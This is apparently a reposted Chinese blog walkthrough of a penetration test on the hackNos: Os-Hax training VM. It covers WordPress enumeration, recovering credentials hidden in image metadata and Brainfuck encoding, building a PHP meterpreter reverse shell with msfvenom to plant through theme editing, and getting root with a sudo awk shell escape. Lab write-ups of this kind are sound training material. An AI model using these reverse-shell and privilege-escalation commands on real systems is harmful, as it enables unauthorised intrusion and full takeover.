其他分享
首页 > 其他分享> > 靶机渗透日记 hackNos: Os-Hax

靶机渗透日记 hackNos: Os-Hax

作者：互联网

文章目录

信息收集

  1. ip
    在这里插入图片描述

  2. 端口
    在这里插入图片描述

  3. 目录扫描
    在这里插入图片描述

    发现存在 wordpress

  4. 使用 wpscan

    在这里插入图片描述

    发现存在 web 用户

    在这里插入图片描述

    在这里插入图片描述

    没有发现插件

  5. 在 /img 目录下存在 flaghost.png
    在这里插入图片描述

  6. 用exiftool查看了一下图片信息

    exiftool flaghost.png

    在这里插入图片描述

  7. 可能是 web 用户的密码,尝试后发现是路径信息,访问 /passw@45 出现 flag2.txt , 内容如下

    在这里插入图片描述

    搜索得知这是 Brainfuck 编码

    解密后得到 web:Hacker@4514

  8. 此时可以登录到 wordpress 后台,发现 web 用户是 Administrator 权限

Getshell

这里可以使用两种方法getshell

方法一

修改模板反弹shell

使用MSF生成反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.154.128 lport=4444 > shell.php

在这里插入图片描述

方法二

命令执行

通过修改前端绕过长度限制

在这里插入图片描述

提权

在这里插入图片描述

尝试 web 账号密码登录

在家目录得到flag3

在这里插入图片描述

发现可以以 root 用户执行 awk 命令

在这里插入图片描述

执行命令

sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述

标签：web,shell,发现,方法,hackNos,用户,Hax,Os,目录
来源： https://blog.csdn.net/qq_47709391/article/details/122801971